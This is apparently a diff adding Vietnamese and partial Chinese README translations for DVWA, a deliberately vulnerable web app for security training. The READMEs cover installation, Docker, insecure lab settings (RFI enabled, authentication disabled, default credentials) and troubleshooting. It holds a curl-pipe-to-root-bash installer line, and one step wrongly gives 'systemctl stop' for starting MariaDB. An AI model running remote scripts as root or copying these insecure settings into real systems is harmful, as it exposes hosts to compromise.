khi chạy code của người khác mà không kiểm tra trước, hãy làm theo quy trình thủ công và bạn có thể xem lại sau khi tải xuống. + +```bash +sudo bash -c "$(curl --fail --show-error --silent --location https://raw.githubusercontent.com/IamCarron/DVWA-Script/main/Install-DVWA.sh)" +``` + +##### Chạy script thủ công + +1. **Tải script:** + + ```bash + wget https://raw.githubusercontent.com/IamCarron/DVWA-Script/main/Install-DVWA.sh + ``` + +2. **Sử quyền cho script để có thể chạy:** + + ```bash + chmod +x Install-DVWA.sh + ``` + +3. **Chạy script với quyền root:** + ```bash + sudo ./Install-DVWA.sh + ``` + +### Video hướng dẫn cài đặt + +- [Installing DVWA on Kali running in VirtualBox](https://www.youtube.com/watch?v=WkyDxNJkgQ4) +- [Installing DVWA on Windows using XAMPP](https://youtu.be/Yzksa_WjnY0) +- [Installing Damn Vulnerable Web Application (DVWA) on Windows 10](https://www.youtube.com/watch?v=cak2lQvBRAo) + +### Windows + XAMPP + +Cách dễ nhất để cài đặt DVWA là tải xuống và cài đặt [XAMPP](https://www.apachefriends.org/) nếu bạn chưa thiết lập. + +XAMPP là một bản phân phối Apache rất dễ cài đặt cho Linux, Solaris, Windows và Mac OS X. Gói này bao gồm máy chủ web Apache, MySQL, PHP, Perl, máy chủ FTP và phpMyAdmin. + +[Video](https://youtu.be/Yzksa_WjnY0) này sẽ hướng dẫn bạn quy trình cài đặt cho Windows nhưng quy trình này sẽ tương tự đối với các hệ điều hành khác. + +### Docker + +Cảm ơn sự giúp đỡ từ [hoang-himself](https://github.com/hoang-himself) và [JGillam](https://github.com/JGillam), mọi commit với nhánh `master` đều khiến Docker image được build và sẵn sàng để kéo xuống từ GitHub Container Register. + +Để biết thêm thông tin, hãy duyệt qua [Docker image dựng sẵn](https://github.com/digininja/DVWA/pkgs/container/dvwa). + +#### Bắt đầu + +Điều kiện: Cần Docker và Docker Compose. + +- Nếu bạn đang sử dụng Docker Desktop thì cả hai đã được cài đặt sẵn. +- Nếu bạn thích Docker Engine trên Linux, hãy nhớ làm theo [hướng dẫn cài đặt](https://docs.docker.com/engine/install/#server) của họ. + +**Chúng tôi cung cấp hỗ trợ cho bản phát hành Docker mới nhất như ở trên.** +Nếu bạn đang sử dụng Linux và package Docker đi kèm với package manager của mình, nó có thể cũng hoạt động nhưng chỉ dừng lại ở việc hỗ trợ. + +Việc nâng cấp Docker từ package manager lên phiên bản upstream yêu cầu bạn gỡ cài đặt các phiên bản cũ như trong hướng dẫn sử dụng dành cho [Ubuntu](https://docs.docker.com/engine/install/ubuntu/#uninstall-old-versions), [Fedora](https://docs.docker.com/engine/install/fedora/#uninstall-old-versions) và các distro khác. +Dữ liệu Docker (containers, images, volumes, etc.) sẽ không bị ảnh hưởng nhưng nếu như có lỗi xảy ra, hãy [báo cáo cho Docker](https://www.docker.com/support) và tìm kiếm cách để sửa lỗi. + +Hãy bắt đầu: + +1. Chạy `docker version` và `docker compose version` để xem bạn đã cài đặt Docker và Docker Compose đúng cách chưa. Bạn sẽ có thể xem phiên bản của chúng trong output. + + Ví dụ: + + ```text + >>> docker version + Client: + [...] + Version: 23.0.5 + [...] + + Server: Docker Desktop 4.19.0 (106363) + Engine: + [...] + Version: 23.0.5 + [...] + + >>> docker compose version + Docker Compose version v2.17.3 + ``` + + Nếu bạn không thấy gì hoặc gặp lỗi không tìm thấy lệnh, hãy làm theo các điều kiện tiên quyết để cài đặt Docker và Docker Compose. + +2. Clone hoặc download repo này về và giải nén (xem [Download](#download)). +3. Mở terminal vả tuy cập vào folder (`DVWA`). +4. Chạy `docker compose up -d`. + +DVWA sẽ chạy trên `http://localhost:4280`. + +**Lưu ý rằng để chạy DVWA trong container, máy chủ web đang lắng nghe trên port 4280 thay vì port 80 thông thường.** +Để biết thêm thông tin về quyết định này, hãy xem [I want to run DVWA on a different port](#i-want-to-run-dvwa-on-a-different-port). + +#### Local Build + +Nếu bạn đã thực hiện các thay đổi local và muốn xây dựng dự án từ local, hãy vào `compose.yml` và thay đổi `pull_policy: always` thành `pull_policy: build`. + +Việc chạy `docker compose up -d` sẽ kích hoạt Docker xây dựng image từ local bất kể những gì có sẵn trong registry. + +Xem thêm: [`pull_policy`](https://github.com/compose-spec/compose-spec/blob/master/05-services.md#pull_policy). + +### Phiên bản PHP + +Lý tưởng nhất là bạn nên sử dụng phiên bản PHP ổn định mới nhất vì đó là phiên bản mà ứng dụng này sẽ được phát triển và thử nghiệm. + +Nếu bạn sử dụng PHP 5.x thì sẽ không được hỗ trợ. + +Các phiên bản dưới 7.3 có các vấn đề sẽ gây ra lỗi, hầu hết ứng dụng sẽ hoạt động nhưng chuyện gì cũng có thể xảy ra. Trừ khi bạn có lý do chính đáng để sử dụng phiên bản cũ như vậy, nếu không sẽ không được hỗ trợ. + +### Linux Packages + +Nếu bạn đang sử dụng bản distro Linux dựa trên Debian, bạn sẽ cần cài đặt các gói sau _(hoặc tương đương)_: + +- apache2 +- libapache2-mod-php +- mariadb-server +- mariadb-client +- php php-mysqli +- php-gd + +Bạn nên cập nhật trước đó để đảm bảo rằng bạn sẽ nhận được phiên bản mới nhất của mọi thứ. + +``` +apt update +apt install -y apache2 mariadb-server mariadb-client php php-mysqli php-gd libapache2-mod-php +``` + +Trang web sẽ hoạt động với MySQL thay vì MariaDB nhưng chúng tôi đặc biệt khuyên dùng MariaDB vì nó hoạt động tốt trong khi bạn phải thực hiện các thay đổi để MySQL hoạt động chính xác. + +## Cấu hình + +### File cấu hình + +DVWA gửi kèm một bản sao dummy của file cấu hình mà bạn sẽ cần copy rồi thực hiện các thay đổi thích hợp. Trên Linux, giả sử bạn đang ở trong folder DVWA, việc này có thể được thực hiện như sau: + +`cp config/config.inc.php.dist config/config.inc.php` + +Trên Windows, việc này có thể khó hơn một chút nếu bạn đang ẩn phần file extension. Nếu bạn không chắc chắn về điều này, blog này sẽ giải thích thêm về điều đó: + +[How to Make Windows Show File Extensions](https://www.howtogeek.com/205086/beginner-how-to-make-windows-show-file-extensions/) + +### Database Setup + +Database setup rất đơn giản bằng cách nhấn `Setup DVWA` trên menu chính, sau đó nhấn `Create / Reset Database`. Tanh ấy sẽ tạo/reset database cho bạn với một số dữ liệu. + +Nếu bạn gặp lỗi khi cố gắng tạo database, hãy đảm bảo thông tin xác thực database của bạn là chính xác trong `./config/config.inc.php`. _File này khác với config.inc.php.dist (file ví dụ)._ + +Các biến mặc định như sau: + +```php +$_DVWA[ 'db_server'] = '127.0.0.1'; +$_DVWA[ 'db_port'] = '3306'; +$_DVWA[ 'db_user' ] = 'dvwa'; +$_DVWA[ 'db_password' ] = 'p@ssw0rd'; +$_DVWA[ 'db_database' ] = 'dvwa'; +``` + +Lưu ý, nếu bạn đang sử dụng MariaDB chứ không phải MySQL (MariaDB là mặc định trong Kali), thì bạn không thể sử dụng root use của database, bạn phải tạo người dùng database mới. Để thực hiện việc này, hãy kết nối với database với tư cách là root user, sau đó sử dụng các lệnh sau: + +```mariadb +MariaDB [(none)]> create database dvwa; +Query OK, 1 row affected (0.00 sec) + +MariaDB [(none)]> create user dvwa@localhost identified by 'p@ssw0rd'; +Query OK, 0 rows affected (0.01 sec) + +MariaDB [(none)]> grant all on dvwa.* to dvwa@localhost; +Query OK, 0 rows affected (0.01 sec) + +MariaDB [(none)]> flush privileges; +Query OK, 0 rows affected (0.00 sec) +``` + +### Tắt Xác Thực (Authentication) + +Một số tool không hoạt động tốt với xác thực nên không thể sử dụng với DVWA. Để giải quyết vấn đề này, có một tùy chọn cấu hình để tắt tính năng kiểm tra xác thực. Để thực hiện, bạn chỉ cần đặt thông tin sau trong file cấu hình: + +```php +$_DVWA[ 'disable_authentication' ] = true; +``` + +Bạn cũng sẽ cần đặt mức bảo mật thành mức phù hợp với thử nghiệm bạn muốn thực hiện: + +```php +$_DVWA[ 'default_security_level' ] = 'low'; +``` + +Với cấu hình này, bạn có thể truy cập tất cả các tính năng mà không cần đăng nhập và đặt bất kỳ cookie nào. + +### Quyền cũa folder + +- `./hackable/uploads/` - Dịch vụ web cần có khả năng ghi được (đối với tải file lên). + +### Cấu hình PHP + +Trên Linux, hãy vào `/etc/php/x.x/fpm/php.ini` hoặc `/etc/php/x.x/apache2/php.ini`. + +- Để cho phép Bao gồm file remote (Remote File Inclusions - RFI): + + - `allow_url_include = on` [[allow_url_include](https://secure.php.net/manual/en/filesystem.configuration.php#ini.allow-url-include)] + - `allow_url_fopen = on` [[allow_url_fopen](https://secure.php.net/manual/en/filesystem.configuration.php#ini.allow-url-fopen)] + +- Để đảm bảo PHP hiển thị tất cả các thông báo lỗi: + - `display_errors = on` [[display_errors](https://secure.php.net/manual/en/errorfunc.configuration.php#ini.display-errors)] + - `display_startup_errors = on` [[display_startup_errors](https://secure.php.net/manual/en/errorfunc.configuration.php#ini.display-startup-errors)] + +Đảm bảo bạn khởi động lại dịch vụ php hoặc Apache sau khi thực hiện các thay đổi. + +### reCAPTCHA + +Nước này chỉ cần cho lab "Insecure CAPTCHA", nếu bạn không làm lab thì có thể bỏ qua + +Đã tạo một cặp API key từ . + +Sau đó copy vào phần`./config/config.inc.php`: + +- `$_DVWA[ 'recaptcha_public_key' ]` +- `$_DVWA[ 'recaptcha_private_key' ]` + +### Thông tin xác thực mặc định (Default credentials) + +**Default username = `admin`** + +**Default password = `password`** + +_...có thể dễ bị brute forced ;)_ + +Login URL: http://127.0.0.1/login.php + +_Lưu ý: URl này sẽ khác nếu bạn cài đặt DVWA vào một folder khác._ + +- - - + +## Troubleshooting + +Hướng dẫn này giả sử bạn đang sử dụng distro dựa trên Debian, chẳng hạn như Debian, Ubuntu và Kali. Đối với các distro khác, hãy tiếp tục làm theo, nhưng hãy cập nhật lệnh khi cần. + +### Containers + +#### Tôi muốn xem logs + +Nếu bạn đang sử dụng Docker Desktop, logs có thể được truy cập từ ứng dụng. +Một số chi tiết nhỏ có thể thay đổi với các phiên bản mới hơn, nhưng cơ bản là giống nhau. + +![Tổng quan của DVWA compose](./docs/graphics/docker/overview.png) +![Xem DVWA logs](docs/graphics/docker/detail.png) + +Logs có thể được xem từ terminal. + +1. Mở terminal vào vào folder DVWA +2. Xem logs + + ```shell + docker compose logs + ``` + + Nếu bạn muốn export logs ra file riêng, e.g. `dvwa.log` + + ```shell + docker compose logs >dvwa.log + ``` + +#### Tôi muốn chạy DVWA trên port khác + +Chúng tôi không sử dụng port 80 như mặc định vì một số lý do: + +- Một số người dùng có thể đã chạy gì đó trên port 80. +- Một số người dùng có thể đang sử dụng rootless container engine (như Podman) và 80 là cổng đặc quyền (< 1024). Cấu hình thêm (e.g. cài đặt `net.ipv4.ip_unprivileged_port_start`) là cần thiết nhưng bạn phải tự tìm hiểu. + +bạn có thể expose DVWA trên port khác bằng cách sử port binding trong `compose.yml`. +Ví dụ, bạn có thể thay đổi: + +```yml +ports: + - 127.0.0.1:4280:80 +``` + +thành + +```yml +ports: + - 127.0.0.1:8806:80 +``` + +DVWA sẽ chạy trên `http://localhost:8806`. + +Trong trường hợp bạn muốn DVWA không chỉ có thể truy cập được từ thiết bị của riêng bạn mà còn +trên mạng local của bạn (ví dụ: vì bạn đang thiết lập máy thử nghiệm cho workshop), bạn +có thể xóa `127.0.0.1:` khỏi port mapping (hoặc thay thế nó bằng IP LAN của bạn). Bằng cách này +sẽ nghe trên tất cả các thiết bị có sẵn. Mặc định an toàn phải luôn là chỉ listen trên +thiết bị loopback local. Xét cho cùng, đây là một ứng dụng web dễ bị tấn công, chạy trên máy của bạn. + +#### DVWA tự động chạy khi Docker chạy + +File [`compose.yml`](./compose.yml) sẽ tự động chạy DVWA và database khi Docker chạy. + +Nếu bạn không muốn, xóa hoặc comment dòng `restart: unless-stopped` trong [`compose.yml`](./compose.yml). + +Nếu bạn muốn tắt tạm thời, bạn có thể chạy `docker compose stop`, hoặc xài Docker Desktop, tìm `dvwa` và nhấn Stop. +Thêm vào đó, bạn có thể xóa containers, hoặc chạy `docker compose down`. + +### Log files + +Trên Linux, Apache tạo 2 file log mặc định, `access.log` và `error.log` và trên hện thống với nền tảng Debian, các file log thường nằm trong `/var/log/apache2/`. + +Khi gửi báo cáo lỗi, sự cố hoặc bất kỳ điều gì tương tự, vui lòng bao gồm ít nhất năm dòng cuối cùng từ mỗi file này. Trên các distro dựa trên Debian, bạn có thể nhận được những thứ như thế này: + +``` +tail -n 5 /var/log/apache2/access.log /var/log/apache2/error.log +``` + +### Truy cập vào site nhưng nhận 404 + +Nếu bạn gặp lỗi này thi bạn cần hiểu rõ về vị trí của file. Mặc định, folder gốc của tài liệu Apache (nơi bắt đầu tìm kiếm nội dung web) là `/var/www/html`. Nếu bạn đặt file `hello.txt` trong folder này, để truy cập nó bạn cần duyệt đến `http://localhost/hello.txt`. + +Nếu bạn đã tạo một folder và đặt file vào đó - `/var/www/html/mydir/hello.txt` - sau đó bạn sẽ cần phải duyệt đến `http://localhost/mydir/hello.txt`. + +Linux theo mặc định có phân biệt chữ hoa chữ thường, trong ví dụ trên, nếu bạn cố duyệt đến bất kỳ trang nào trong số này, bạn sẽ nhận được một `404 Not Found`: + +- `http://localhost/MyDir/hello.txt` +- `http://localhost/mydir/Hello.txt` +- `http://localhost/MYDIR/hello.txt` + +Điều này ảnh hưởng đến DVWA như thế nào? Hầu hết mọi người sử dụng git để checkout DVWA vào `/var/www/html`, bạn sẽ được đưa tới `/var/www/html/DVWA/` với tất cả các file DVWA bên trong nó. Sau đó họ duyệt đến `http://localhost/` và nhận được `404` hoặc trang welcome mặc định của Apache. Vì file nằm trong DVWA, bạn phải duyệt tới `http://localhost/DVWA`. + +Một lỗi phổ biến khác là duyệt đến `http://localhost/dvwa` sẽ dẫn đến `404` vì `dvwa` không phải `DVWA` liên quan đến việc khớp folder trong Linux. + +Vì vậy, sau khi thiết lập, nếu bạn cố truy cập trang web và nhận được `404`, hãy nghĩ xem bạn đã cài đặt các file vào đâu, vị trí của chúng có liên quan đến folder gốc của tài liệu và trường hợp của folder bạn đã sử dụng là gì. + +### "Access denied" khi setup + +Nếu bạn thấy thông báo sau khi chạy script thiết lập, điều đó có nghĩa là tên người dùng hoặc mật khẩu trong file cấu hình không khớp với tên người dùng hoặc mật khẩu được định cấu hình trên database: + +``` +Database Error #1045: Access denied for user 'notdvwa'@'localhost' (using password: YES). +``` + +Lỗi cho bạn biết rằng bạn đang sử dụng tên người dùng `notdvwa`. + +Lỗi sau đây cho biết bạn đã trỏ file cấu hình vào database sai. + +``` +SQL: Access denied for user 'dvwa'@'localhost' to database 'notdvwa' +``` + +Lỗi báo rằng bạn đang sử dụng người dùng `dvwa` và đang cố gắng kết nối với database `notdvwa`. + +Điều đầu tiên cần làm là kiểm tra kỹ xem bạn nghĩ mình đã đặt gì trong file cấu hình có thực sự ở đó không. + +Nếu như bạn đã chắc chắn, việc tiếp theo cần làm là kiểm tra xem bạn có thể đăng nhập với tư cách người dùng trên command line hay không. Giả sử bạn có người dùng database là `dvwa` và mật khẩu là `p@ssw0rd`, hãy chạy lệnh sau: + +``` +mysql -u dvwa -pp@ssw0rd -D dvwa +``` + +_Lưu ý: Không có khoảng trắng sau -p_ + +Nếu bạn thấy như sau thì mật khẩu là chính xác: + +``` +Welcome to the MariaDB monitor. Commands end with ; or \g. +Your MariaDB connection id is 14 +Server version: 10.3.22-MariaDB-0ubuntu0.19.10.1 Ubuntu 19.10 + +Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. + +Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. + +MariaDB [dvwa]> +``` + +Vì bạn có thể kết nối trên dòng lệnh, nên có thể đã xảy ra lỗi trong file cấu hình, hãy kiểm tra kỹ và sau đó nêu vấn đề nếu bạn vẫn không thể làm mọi thứ hoạt động. + +Nếu bạn thấy thông báo sau thì tên người dùng hoặc mật khẩu bạn đang sử dụng không đúng. Thử lại bước [Database Setup](#database-setup) và đảm bảo bạn sử dụng cùng tên người dùng và mật khẩu trong suốt quá trình. + +``` +ERROR 1045 (28000): Access denied for user 'dvwa'@'localhost' (using password: YES) +``` + +Nếu bạn nhận được thông tin sau thì thông tin đăng nhập của người dùng là chính xác nhưng người dùng không có quyền truy cập vào database. Một lần nữa, hãy lặp lại các bước thiết lập và kiểm tra tên database bạn đang sử dụng. + +``` +ERROR 1044 (42000): Access denied for user 'dvwa'@'localhost' to database 'dvwa' +``` + +Lỗi cuối cùng bạn có thể gặp phải là: + +``` +ERROR 2002 (HY000): Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2) +``` + +Đây không phải là lỗi xác thực mà là máy chủ database không chạy. Hãy thử: + +```sh +sudo service mysql start +``` + +### Từ chối kết nối + +Một lỗi tương tự như lỗi này: + +``` +Fatal error: Uncaught mysqli_sql_exception: Connection refused in /var/sites/dvwa/non-secure/htdocs/dvwa/includes/dvwaPage.inc.php:535 +``` + +Có nghĩa là máy chủ database của bạn không chạy hoặc bạn đã nhập sai địa chỉ IP trong file cấu hình. + +Kiểm tra dòng này trong file cấu hình để xem máy chủ database dự kiến sẽ ở đâu: + +``` +$_DVWA[ 'db_server' ] = '127.0.0.1'; +``` + +Sau đó đi đến máy chủ này và kiểm tra xem nó có đang chạy không. Trong Linux, chạy: + +``` +systemctl status mariadb.service +``` + +Và bạn đang tìm kiếm thứ gì đó như sau, quan trọng là nó ghi `active (running)`. + +``` +● mariadb.service - MariaDB 10.5.19 database server + Loaded: loaded (/lib/systemd/system/mariadb.service; enabled; preset: enabled) + Active: active (running) since Thu 2024-03-14 16:04:25 GMT; 1 week 5 days ago +``` + +Nếu nó không chạy, bạn có thể khởi động nó bằng: + +``` +sudo systemctl stop mariadb.service +``` + +Lưu ý `sudo` và đảm bảo bạn nhập mật khẩu người dùng Linux của mình nếu được yêu cầu. + +Trong Windows, hãy kiểm tra trạng thái trong bảng điều khiển XAMPP. + +### Phương thức xác thực không xác định + +Với các phiên bản mới nhất của MySQL, PHP không còn có thể giao tiếp với database ở cấu hình mặc định của nó nữa. Nếu bạn chạy script thiết lập và nhận được thông báo sau thì là bạn đã cấu hình nó. + +``` +Database Error #2054: The server requested authentication method unknown to the client. +``` + +Bạn có hai lựa chọn, đơn giản nhất là gỡ cài đặt MySQL và cài đặt MariaDB. Sau đây là hướng dẫn chính thức từ project MariaDB: + + + +Ngoài ra, hãy làm theo các bước sau: + +1. Với quyền root, chỉnh sửa file: `/etc/mysql/mysql.conf.d/mysqld.cnf` +1. Dưới dòng `[mysqld]`, thêm vào như sau: + `default-authentication-plugin=mysql_native_password` +1. Restart database: `sudo service mysql restart` +1. Kiểm tra phương thức xác thực cho người dùng database của bạn: + + ```sql + mysql> select Host,User, plugin from mysql.user where mysql.user.User = 'dvwa'; + +- - -- - -- - - - -+- - -- - -- - -- - -- - -- - -+- - -- - -- - -- - -- - -- - -- - - - -+ + | Host | User | plugin | + +- - -- - -- - - - -+- - -- - -- - -- - -- - -- - -+- - -- - -- - -- - -- - -- - -- - - - -+ + | localhost | dvwa | caching_sha2_password | + +- - -- - -- - - - -+- - -- - -- - -- - -- - -- - -+- - -- - -- - -- - -- - -- - -- - - - -+ + 1 rows in set (0.00 sec) + ``` + +1. Bạn sẽ thấy `caching_sha2_password`. Nếu có , hãy chạy: + + ```sql + mysql> ALTER USER dvwa@localhost IDENTIFIED WITH mysql_native_password BY 'p@ssw0rd'; + ``` + +1. Chạy lại check, bạn sẽ thấy `mysql_native_password`. + + ```sql + mysql> select Host,User, plugin from mysql.user where mysql.user.User = 'dvwa'; + +- - -- - -- - - - -+- - -- - -+- - -- - -- - -- - -- - -- - -- - - - -+ + | Host | User | plugin | + +- - -- - -- - - - -+- - -- - -+- - -- - -- - -- - -- - -- - -- - - - -+ + | localhost | dvwa | mysql_native_password | + +- - -- - -- - - - -+- - -- - -+- - -- - -- - -- - -- - -- - -- - - - -+ + 1 row in set (0.00 sec) + ``` + +Sau cùng, quá trình thiết lập sẽ hoạt động như bình thường. + +Nếu bạn muốn biết thêm thông tin, hãy xem trang sau: . + +### Lỗi Database #2002: No such file or directory. + +Máy chủ database không chạy. Nếu như bạn sử dụng distro dựa trên Debian, hảy chạy: + +```sh +sudo service mysql start +``` + +### Lỗi "MySQL server has gone away" và "Packets out of order" + +Có một số lý do khiến bạn gặp phải những lỗi này, nhưng rất có thể là phiên bản máy chủ database bạn đang chạy không tương thích với phiên bản PHP. + +Điều này thường thấy nhất khi bạn đang chạy phiên bản MySQL mới nhất dưới dạng PHP và nó không hoạt động tốt. Lời khuyên tốt nhất là hãy bỏ MySQL và cài đặt MariaDB vì đây không phải là thứ chúng tôi có thể hỗ trợ. + +Nếu bạn muốn biết thêm thông tin, hãy xem trang sau + + + +### Command Injection không thể hoạt động + +Apache có thể không có đặc quyền đủ cao để chạy lệnh trên máy chủ web. Nếu bạn đang chạy DVWA trên Linux, hãy đảm bảo bạn đã đăng nhập bằng quyền root. Trong Windows đăng nhập với tư cách Administrator + +### Tại sao databse không thể kết nối với CentOS? + +Có thể bạn đang gặp vấn đề với SELinux. Tắt SELinux hoặc chạy lệnh này để cho phép máy chủ web giao tiếp với database: + +``` +setsebool -P httpd_can_network_connect_db 1 +``` + +### Một số thứ khác + +Để biết thông tin troubleshooting mới nhất, vui lòng đọc cả ticket mở và đã đóng trong repo: + + + +Trước khi gửi ticket, vui lòng đảm bảo rằng bạn đang chạy phiên bản code mới nhất từ repo. Đây không phải là bản phát hành mới nhất, đây là code mới nhất từ master branch. + +Nếu gửi ticket, vui lòng gửi ít nhất các thông tin sau: + +- Hệ điều hành +- 5 dòng cuối cùng từ lỗi máy chủ web sẽ ghi trực tiếp sau khi xảy ra bất kỳ lỗi nào bạn đang báo cáo +- Nếu đó là lỗi xác thực database, hãy thực hiện các bước trên và chụp ảnh màn hình từng bước. Gửi những thứ này cùng với ảnh chụp màn hình của phần file cấu hình hiển thị người dùng và mật khẩu database. +- Mô tả đầy đủ về những gì đang xảy ra, những gì bạn mong đợi sẽ xảy ra và những gì bạn đã cố gắng làm để khắc phục nó. + +- - - + +## Hướng dẫn chi tiết + +Tôi sẽ cố gắng tập hợp một số video hướng dẫn tìm hiểu một số lỗ hổng và chỉ ra cách phát hiện chúng cũng như cách khai thác chúng. Đây là những cái tôi đã thực hiện cho đến nay: + +[Finding and Exploiting Reflected XSS](https://youtu.be/V4MATqtdxss) + +- - - + +## SQLite3 SQL Injection + +_Hỗ trợ cho vấn đề này còn hạn chế, trước khi nêu ra vấn đề, vui lòng đảm bảo rằng bạn đã debug, không chỉ đơn giản là "nó không hoạt động"._ + +Theo mặc định, SQLi và Blind SQLi sẽ giao tiếp với máy chủ MariaDB/MySQL được web sử dụng nhưng thay vào đó, bạn có thể chuyển sang thực hiện kiểm tra SQLi đối với SQLite3. + +Tôi sẽ không đề cập đến cách để SQLite3 hoạt động với PHP, nhưng nó sẽ là một trường hợp đơn giản là cài đặt package `php-sqlite3` và đảm bảo rằng nó được kích hoạt. + +Để thực hiện chuyển đổi, chỉ cần chỉnh sửa file cấu hình và thêm hoặc chỉnh sửa các dòng sau: + +``` +$_DVWA["SQLI_DB"] = "sqlite"; +$_DVWA["SQLITE_DB"] = "sqli.db"; +``` + +Mặc định nó xài `database/sqli.db`, nếu bạn lỡ mess up, chỉ cần sao chép `database/sqli.db.dist` đè lên. + +Các thử thách hoàn toàn giống với MySQL, thay vào đó chúng chỉ chạy với SQLite3. + +- - - + +## 👨‍💻 Những người đóng góp + +Cảm ơn tất cả những đóng góp của bạn và giữ cho dự án này được cập nhật. :heart: + +Nếu bạn có ý tưởng, cải tiến nào đó hoặc chỉ đơn giản là muốn cộng tác, bạn có thể đóng góp và tham gia vào dự án, vui lòng gửi PR của mình. + +

+ + + +

+ +- - - + +## Báo cáo lỗ hổng + +Nói một cách ngắn gọn là LÀN ƠN ĐỪNG GỬI GÌ HẾT! + +cỨ KHOẢNG HẰNG NĂM, MỘT ai đó sẽ gửi báo cáo về lỗ hổng mà họ tìm thấy trong ứng dụng, một số được viết rất tốt, đôi khi tốt hơn những gì tôi thấy trong các báo cáo pen test có trả phí, một số chỉ là "bạn đang thiếu header kìa bạn ơi, hãy trả tiền cho tôi đê". + +Vào năm 2023, vấn đề đã nâng lên một tầm cao mới khi ai đó quyết định yêu cầu CVE về một lỗ hổng bảo mật, họ đã nhận được [CVE-2023-39848](https://nvd.nist.gov/vuln/detail/CVE-2023-39848). Nhiều sự cố khá vui nhộn đã xảy ra sau đó và kha khá thời gian lãng phí để sửa lỗi này. + +Ứng dụng này có lỗ hổng và đó là cố ý. Hầu hết là những tài liệu được ghi chép đầy đủ mà bạn xem qua như những bài học, một số khác là những tài liệu "ẩn", những tài liệu bạn có thể tự tìm thấy. Nếu bạn thực sự muốn thể hiện kỹ năng tìm kiếm các tính năng bổ sung ẩn của mình, hãy viết một bài đăng trên blog hoặc tạo video vì có thể có những người ở ngoài đó sẽ quan tâm đến việc tìm hiểu về chúng và cách bạn tìm thấy chúng. Nếu bạn gửi liên kết cho chúng tôi, chúng tôi thậm chí có thể đưa liên kết đó vào phần references. + +## Link + +Trang chủ dự án: + +_Được tạo ra bởi DVWA team_ diff --git a/DVWA/README.zh.md b/DVWA/README.zh.md new file mode 100644 index 00000000..222d2ccf --- /dev/null +++ b/DVWA/README.zh.md @@ -0,0 +1,398 @@ +# 翻译 + +翻译:@[inVains](https://github.com/inVains) @[songzy12](https://github.com/songzy12) @[cnskis](https://github.com/cnskis) + +- - - + +# 关于 DAMN VULNERABLE WEB APPLICATION(DVWA) + +Damn Vulnerable Web Application (DVWA)(译注:可以直译为:"该死的"不安全Web应用程序),是一个编码差的、易受攻击的 PHP/MySQL Web应用程序。 它的主要目的是帮助信息安全专业人员在合法的环境中,练习技能和测试工具,帮助 Web 开发人员更好地了解如何加强 Web 应用程序的安全性,并帮助学生和教师在可控的教学环境中了解和学习 Web 安全技术。 + +DVWA的目的是通过简单明了的界面来**练习一些最常见的 Web 漏洞**,所练习的漏洞具有**不同的难度级别**。 请注意,此软件**存在提示和无提示的漏洞**。 这是特意为止。 我们鼓励您依靠自己的能力尝试并发现尽可能多的安全问题。 +- - - + +## 警告! + +DVWA非常容易被攻击! **不要将其上传到您的云服务器上对外公开的 web 文件夹中或任何在公网中的web服务器上**,否则服务器可能会被攻击。 建议使用虚拟机安装DVWA(如[VirtualBox](https://www.virtualbox.org/) 或[VMware](https://www.vmware.com/)),网络配置为NAT组网。在客机(guest machine)中,您可以下载并安装 [XAMPP](https://www.apachefriends.org/) 用作搭建DVWA的 Web 服务和数据库服务。 + +### 免责声明 + +我们不对任何人使用此应用程序 (DVWA) 的方式负责。 我们已经明确了应用程序的目的,该程序以及相关技术不应被恶意使用。 我们已警告并采取相关措施阻止用户将 DVWA 安装到生产环境的 Web 服务器上。 如果您的 Web 服务器因安装 DVWA 而被攻击,这不是我们的责任,而是由上传和安装它的人负责。 + +- - - + +## 许可 + +该文件是Damn Vulnerable Web Application (DVWA) 的一部分。 + +Damn Vulnerable Web Application (DVWA)是自由软件:您可以根据自由软件基金会发布的 GNU 通用公共许可证(许可证的第 3 版,或(由您选择的)任何更高版本)重新分发和/或修改。 + +Damn Vulnerable Web Application (DVWA) 的发布是为了希望它有用,但不(对"有用性")做任何保证; 甚至不对可销售性(MERCHANTABILITY)或针对特定目的的适用性(FITNESS FOR A PARTICULAR PURPOSE)的做任何暗示保证。 有关更多详细信息,请参阅 GNU 通用公共许可证。 + +您应该已经在Damn Vulnerable Web Application (DVWA)中收到一份GNU通用公共许可证副本。 如果没有,请参阅 。 + +- - - + +## 国际化 + +该文件有多种语言版本: + +- 英文:[English](README.md) + +如果您想贡献翻译,请提交 PR。 但是请注意,这并不意味着只是简单的通过谷歌翻译本文档并提交,这种提交将被拒绝接受。 + +- - - + +## 下载 + +虽然有各种版本的 DVWA,但唯一受支持的版本是来自官方 GitHub 存储仓库(repository)的最新源码。 你可以从 repo 中克隆它: + +``` +git clone https://github.com/digininja/DVWA.git +``` + +或者 [下载 ZIP 文件](https://github.com/digininja/DVWA/archive/master.zip)。 + +- - - + +## 安装 + +### 安装视频 + +- [在 kali 下的 VirtualBox 中安装DVWA](https://www.youtube.com/watch?v=WkyDxNJkgQ4) +- [在 Windows 10 上安装DVWA](https://www.youtube.com/watch?v=cak2lQvBRAo) [12分39秒] + +### Windows + XAMPP 方式 + +如果您没有配置 web 服务器,那么安装 DVWA 最简单的方法就是下载并安装 [XAMPP](https://www.apachefriends.org/) + +XAMPP 可以非常方便快捷的在 Linux, Solaris, Windows and Mac OS X 上安装Apache WEB 服务器, XAMPP 中包含了 Apache web 服务器, MySQL数据库, PHP环境, Perl环境, 一个 FTP 服务器 和 phpMyAdmin服务. + +XAMPP 可以在以下地址下载: + + +只需要解压 dvwa.zip, 然后将解压后的文件放到XAMPP的 web 服务文件夹中, 然后用浏览器打开: `http://127.0.0.1/dvwa/setup.php` + +### 配置文件 + +DVWA 附带了一个示例配置文件,需要根据实际环境复制一份该文件并修改。 比如在 Linux 环境的 DVWA 路径下, 可以直接执行命令: + +`cp config/config.inc.php.dist config/config.inc.php` + +在 Windows 系统上,操作系统可能默认隐藏了后缀名,稍微有点麻烦,如果不确定是不是隐藏了后缀名,可以参考下面的博客: + +[在 Windows 上显示文件后缀名](https://www.howtogeek.com/205086/beginner-how-to-make-windows-show-file-extensions/) + +### Linux 软件包 + +如果您使用的是 Debian 操作系统, 您需要安装以下依赖软件包 _(或者其他能实现相同功能的)_: + +- apache2 +- libapache2-mod-php +- mariadb-server +- mariadb-client +- php php-mysqli +- php-gd + +我们建议在安装之前进行更新,这样可以确保安装的都是最新版本。 + +下面是更新和安装依赖的命令: + +``` +apt update +apt install -y apache2 mariadb-server mariadb-client php php-mysqli php-gd libapache2-mod-php +``` + +DVWA 